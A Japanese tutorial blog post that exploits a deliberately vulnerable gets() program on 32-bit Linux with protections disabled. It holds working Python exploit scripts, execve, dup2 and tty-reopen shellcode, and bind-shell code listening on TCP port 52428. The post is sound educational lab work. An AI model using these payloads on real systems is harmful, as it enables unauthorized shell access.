スタックバッファオーバーフローによる標準入力からのシェル起動
一つ前のエントリでは、コマンドライン引数からデータを送り込みスタックバッファオーバーフローを起こした。 標準入力からデータを送り込むときも基本的には同じようにすればよいが、標準入力が端末ではなくなるため、シェルの起動には一工夫が必要になる。 ここでは、次の4通りの方法で標準入力からのシェル起動をやってみる。
- catコマンドを利用する
- 標準入出力を端末に差し替えるシェルコマンドを送り込む
- 標準入出力を開き直すシェルコードを使う
- bind shellを使う
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
ここでは、gets関数でスタックバッファオーバーフローが起こるコードを書いてみる。 バッファサイズは300とする。
/* bof.c */ #include <stdio.h> int main() { char buf[300] = {}; /* set all bytes to zero */ setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; }
ASLR、SSP、DEPを無効にした状態でコンパイルし、スタックバッファオーバーフローが起こせることを確認する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector -z execstack bof.c $ python -c "print 'A'*300" | ./a.out buf = 0xbffff694 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ python -c "print 'A'*316" | ./a.out buf = 0xbffff694 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)
300文字より長い文字列を送り込んだとき、セグメンテーション違反で落ちていることが確認できる。
エクスプロイトコードを書いてみる
単純にexecve(2)のみを呼び出すシェルコードを使い、標準入力からデータを送り込むエクスプロイトコードを書いてみる。
# exploit.py import sys import struct from subprocess import Popen, PIPE shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.wait()
ここでは、デバッグ用に送り込むデータをbufという名前のファイルに書き出すようにした。
しかし、これを実行してもシェルは起動しない。
$ python exploit.py 300 0xcccccccc [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xcc\xcc\xcc\xcc\n' $ python exploit.py 300 0xbffff684 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n' id [CTRL+D] Traceback (most recent call last): File "exploit.py", line 23, in <module> p.wait() File "/usr/lib/python2.7/subprocess.py", line 1291, in wait pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0) File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call return func(*args) KeyboardInterrupt
書き出したbufを使い、gdbで走らせてみる。 このとき、スタック上のバッファが置かれるアドレスが変わるため、一度ファイルを作り直す必要がある。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) run < buf Starting program: /home/user/tmp/a.out < buf buf = 0xbffff674 (snip) Program received signal SIGSEGV, Segmentation fault. 0xbffff7b0 in ?? () (gdb) quit A debugging session is active. Inferior 1 [process 5749] will be killed. Quit anyway? (y or n) y $ python exploit.py 300 0xbffff674 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt\xf6\xff\xbf\n' $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) run < buf Starting program: /home/user/tmp/a.out < buf buf = 0xbffff674 (snip) process 5763 is executing new program: /bin/dash [Inferior 1 (process 5763) exited normally] (gdb) quit
これを見ると、シェルは一度起動しているがすぐに正常終了していることがわかる。 これは、標準入力から読み取れる文字が残っていないためであり、概ね下のように起動したときと同じことが起こっている。
$ /bin/sh </dev/null
この場合、シェルはすぐに正常終了してしまう。
catコマンドを利用してみる
コマンドラインで書き出したbufを出力した後、catコマンドで端末からの入力を受け付けるようにしておくことで、シェルを起動させておくことができる。
$ python exploit.py 300 0xbffff684 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n' [CTRL+C] Traceback (most recent call last): File "exploit.py", line 23, in <module> p.wait() File "/usr/lib/python2.7/subprocess.py", line 1291, in wait pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0) File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call return func(*args) KeyboardInterrupt $ (cat buf; cat) | ./a.out buf = 0xbffff694 [ENTER] (snip) [ENTER] Segmentation fault (core dumped) $ python exploit.py 300 0xbffff694 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x94\xf6\xff\xbf\n' $ (cat buf; cat) | ./a.out buf = 0xbffff694 [ENTER] (snip) id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
ここではわかりやすいように、キーボード入力も書き足してある。
最初のENTERはgets関数に行の終了を伝えており、この後puts関数が実行され、シェルが起動する。
起動したシェルから見ると標準入力は他のプロセスとのパイプであるため、標準入力が端末のときに表示されるプロンプトはここでは表示されない。
なお、自分でENTERを入力する代わりにbufの末尾に \n
を追記してもよいし、echoコマンドを使ってもよい。
$ (cat buf; echo; cat) | ./a.out buf = 0xbffff694 (snip) id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
標準入出力を端末に差し替えるシェルコマンドを送り込んでみる
シェルが起動したとき、標準入出力はエクスプロイトコード中で作られたパイプとなっている。 これを端末に差し替えることができれば、端末からシェルが操作できるようになる。 そこで、起動したシェルに対しこれを行うシェルコマンドを送り込んでみる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.stdin.write('exec 9<>/dev/tty <&9 >&9\n') p.wait()
上のコードではexecコマンドを使い、ファイルディスクリプタ9番にて端末を開いた後、標準入出力をこれに差し替えている。 実行すると次のようになる。
$ python exploit2.py 300 0xbffff684 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
標準入出力が端末に差し替えられた結果、端末からシェルが操作できていることがわかる。
なお、このエクスプロイトコードでは標準エラー出力(ファイルディスクリプタ番号2)がすでに端末を指している。 したがって、標準入出力を直接ファイルディスクリプタ2番に差し替えてもよい。
# exploit3.py import sys import struct from subprocess import Popen, PIPE shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.stdin.write('exec <&2 >&2\n') p.wait()
実行すると、端末からシェルが操作できていることがわかる。
$ python exploit3.py 300 0xbffff684 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
標準入出力を開き直すシェルコードを使ってみる
別の方法として、一旦標準入出力を閉じ、再度端末を開いてからシェルを起動するシェルコードを作ってみる。
/* reopen.s */ .intel_syntax noprefix .globl _start _start: /* close(0) */ xor edx, edx xor ebx, ebx lea eax, [edx+6] int 0x80 /* close(1) */ inc ebx lea eax, [edx+6] int 0x80 /* open("/dev/tty", O_RDWR) */ lea ecx, [edx+2] push edx push 0x7974742f push 0x7665642f mov ebx, esp lea eax, [edx+5] int 0x80 /* open("/dev/tty", O_RDWR) */ lea eax, [edx+5] int 0x80 /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */ xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
$ gcc -nostdlib reopen.s $ objdump -M intel -d a.out 08048098 <_start>: 8048098: 31 d2 xor edx,edx 804809a: 31 db xor ebx,ebx 804809c: 8d 42 06 lea eax,[edx+0x6] 804809f: cd 80 int 0x80 80480a1: 43 inc ebx 80480a2: 8d 42 06 lea eax,[edx+0x6] 80480a5: cd 80 int 0x80 80480a7: 8d 4a 02 lea ecx,[edx+0x2] 80480aa: 52 push edx 80480ab: 68 2f 74 74 79 push 0x7974742f 80480b0: 68 2f 64 65 76 push 0x7665642f 80480b5: 89 e3 mov ebx,esp 80480b7: 8d 42 05 lea eax,[edx+0x5] 80480ba: cd 80 int 0x80 80480bc: 8d 42 05 lea eax,[edx+0x5] 80480bf: cd 80 int 0x80 80480c1: 31 d2 xor edx,edx 80480c3: 52 push edx 80480c4: 68 2f 2f 73 68 push 0x68732f2f 80480c9: 68 2f 62 69 6e push 0x6e69622f 80480ce: 89 e3 mov ebx,esp 80480d0: 52 push edx 80480d1: 53 push ebx 80480d2: 89 e1 mov ecx,esp 80480d4: 8d 42 0b lea eax,[edx+0xb] 80480d7: cd 80 int 0x80
エクスプロイトコード中のシェルコードをこれで置き換えてみる。
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xd2\x31\xdb\x8d\x42\x06\xcd\x80\x43\x8d\x42\x06\xcd\x80\x8d\x4a\x02\x52\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\x8d\x42\x05\xcd\x80\x8d\x42\x05\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
# exploit4.py import sys import struct from subprocess import Popen, PIPE #shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" shellcode = "\x31\xd2\x31\xdb\x8d\x42\x06\xcd\x80\x43\x8d\x42\x06\xcd\x80\x8d\x4a\x02\x52\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\x8d\x42\x05\xcd\x80\x8d\x42\x05\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" print "len(shellcode) == %d" % len(shellcode) bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.wait()
実行してみる。
$ gcc -fno-stack-protector -z execstack bof.c $ python exploit4.py 300 0xbffff684 len(shellcode) == 65 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd21\xdb\x8dB\x06\xcd\x80C\x8dB\x06\xcd\x80\x8dJ\x02Rh/ttyh/dev\x89\xe3\x8dB\x05\xcd\x80\x8dB\x05\xcd\x801\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
シェルが起動し、端末からの入力を受け付けるようになっていることが確認できる。 また、このシェルコードの長さは65バイトである。
あるいは、dup2(2)を使って標準エラー出力のファイルディスクリプタを標準入出力に複製してもよい。
/* dup_stderr.s */ .intel_syntax noprefix .globl _start _start: /* dup2(2, 0) */ xor edx, edx xor ecx, ecx lea ebx, [edx+2] lea eax, [edx+63] int 0x80 /* dup2(2, 1) */ inc ecx lea eax, [edx+63] int 0x80 /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */ xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
$ gcc -nostdlib dup_stderr.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xd2\x31\xc9\x8d\x5a\x02\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
このシェルコードの長さは42バイトである。
bind shellを使ってみる
特定のTCPポートでの入出力を標準入出力として、シェルを起動する方法もある。 このようにして起動するシェルは、bind shellなどと呼ばれる。
C言語でbind shellを立ち上げるコードを書くと、次のようになる。
/* bindtcp.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> int main() { int s, c; struct sockaddr_in addr; int port = 0xcccc; char *argv[] = {"/bin/sh", NULL}; s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr *)&addr, sizeof(addr)); listen(s, 0); c = accept(s, NULL, NULL); dup2(c, 0); dup2(c, 1); dup2(c, 2); execve(argv[0], argv, NULL); }
このコードはポート番号 0xcccc (=52428) で接続を待ち受ける。 そして、acceptで受け付けたソケットのファイルディスクリプタを、dup2(2)を使って標準入力、標準出力、標準エラー出力すべてに複製する。
コンパイルして実行し、ncコマンドで接続してみる。
$ gcc -static bindtcp.c $ ./a.out & [1] 6307 $ netstat -antp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:52428 0.0.0.0:* LISTEN 6307/a.out $ nc localhost 52428 id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D] [1]+ Done ./a.out
正しくシェルを起動できていることが確認できる。
別のエントリで説明したように、gdbでこの実行ファイルを動かし、レジスタの状態を調べながらアセンブリコードを書くと次のようになる。
/* bindtcp.s */ .intel_syntax noprefix .globl _start _start: /* s = socket(AF_INET, SOCK_STREAM, 0) */ xor edx, edx xor ebx, ebx inc ebx /* ebx == 1 */ push edx push ebx push 0x2 mov ecx, esp lea eax, [edx+102] int 0x80 mov esi, eax /* bind(s, addr, sizeof(addr)) */ inc ebx /* ebx == 2 */ push edx pushw 0xcccc push bx mov ecx, esp push 0x10 push ecx push esi mov ecx, esp lea eax, [edx+102] int 0x80 /* listen(s, 0) */ inc ebx inc ebx /* ebx == 4 */ push edx push edx push esi mov ecx, esp lea eax, [edx+102] int 0x80 /* c = accept(s, NULL, NULL) */ inc ebx /* ebx == 5, reuse ecx */ lea eax, [edx+102] int 0x80 mov ebx, eax /* dup2(c, 2); dup2(c, 1); dup2(c, 0) */ lea ecx, [edx+2] dup: lea eax, [edx+63] int 0x80 dec ecx jns dup /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */ xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
アセンブルして挙動を確認してみる。
$ gcc -nostdlib bindtcp.s $ ./a.out & [1] 7037 $ nc localhost 52428 id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D] [1]+ Done ./a.out
正しく動いていることが確認できたので、機械語列を表示してみる。
$ objdump -M intel -d a.out 08048098 <_start>: 8048098: 31 d2 xor edx,edx 804809a: 31 db xor ebx,ebx 804809c: 43 inc ebx 804809d: 52 push edx 804809e: 53 push ebx 804809f: 6a 02 push 0x2 80480a1: 89 e1 mov ecx,esp 80480a3: 8d 42 66 lea eax,[edx+0x66] 80480a6: cd 80 int 0x80 80480a8: 89 c6 mov esi,eax 80480aa: 43 inc ebx 80480ab: 52 push edx 80480ac: 66 68 cc cc pushw 0xcccc 80480b0: 66 53 push bx 80480b2: 89 e1 mov ecx,esp 80480b4: 6a 10 push 0x10 80480b6: 51 push ecx 80480b7: 56 push esi 80480b8: 89 e1 mov ecx,esp 80480ba: 8d 42 66 lea eax,[edx+0x66] 80480bd: cd 80 int 0x80 80480bf: 43 inc ebx 80480c0: 43 inc ebx 80480c1: 52 push edx 80480c2: 52 push edx 80480c3: 56 push esi 80480c4: 89 e1 mov ecx,esp 80480c6: 8d 42 66 lea eax,[edx+0x66] 80480c9: cd 80 int 0x80 80480cb: 43 inc ebx 80480cc: 8d 42 66 lea eax,[edx+0x66] 80480cf: cd 80 int 0x80 80480d1: 89 c3 mov ebx,eax 80480d3: 8d 4a 02 lea ecx,[edx+0x2] 080480d6 <dup>: 80480d6: 8d 42 3f lea eax,[edx+0x3f] 80480d9: cd 80 int 0x80 80480db: 49 dec ecx 80480dc: 79 f8 jns 80480d6 <dup> 80480de: 31 d2 xor edx,edx 80480e0: 52 push edx 80480e1: 68 2f 2f 73 68 push 0x68732f2f 80480e6: 68 2f 62 69 6e push 0x6e69622f 80480eb: 89 e3 mov ebx,esp 80480ed: 52 push edx 80480ee: 53 push ebx 80480ef: 89 e1 mov ecx,esp 80480f1: 8d 42 0b lea eax,[edx+0xb] 80480f4: cd 80 int 0x80
エクスプロイトコード中のシェルコードをこれに置き換えてみる。
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\x8d\x42\x66\xcd\x80\x89\xc6\x43\x52\x66\x68\xcc\xcc\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x43\x52\x52\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x8d\x42\x66\xcd\x80\x89\xc3\x8d\x4a\x02\x8d\x42\x3f\xcd\x80\x49\x79\xf8\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
# exploit5.py import sys import struct from subprocess import Popen, PIPE #shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" shellcode = "\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\x8d\x42\x66\xcd\x80\x89\xc6\x43\x52\x66\x68\xcc\xcc\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x43\x52\x52\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x8d\x42\x66\xcd\x80\x89\xc3\x8d\x4a\x02\x8d\x42\x3f\xcd\x80\x49\x79\xf8\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" print "len(shellcode) == %d" % len(shellcode) bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) print "[+] read: %r" % p.stdout.readline() p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.wait()
nohupコマンドを使ってバックグラウンドで実行した後、ncコマンドで接続してみる。
$ gcc -fno-stack-protector -z execstack bof.c $ nohup python exploit5.py 300 0xbffff684 & [1] 7093 nohup: ignoring input and appending output to `nohup.out' $ nc localhost 52428 id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D] [1]+ Done nohup python exploit5.py 300 0xbffff684 $ cat nohup.out len(shellcode) == 94 [+] read: 'buf = 0xbffff684\n' [+] read: '1\xd21\xdbCRSj\x02\x89\xe1\x8dBf\xcd\x80\x89\xc6CRfh\xcc\xccfS\x89\xe1j\x10QV\x89\xe1\x8dBf\xcd\x80CCRRV\x89\xe1\x8dBf\xcd\x80C\x8dBf\xcd\x80\x89\xc3\x8dJ\x02\x8dB?\xcd\x80Iy\xf81\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'
シェルが起動し、ソケットからの入力を受け付けていることが確認できる。 また、このシェルコードの長さは94バイトである。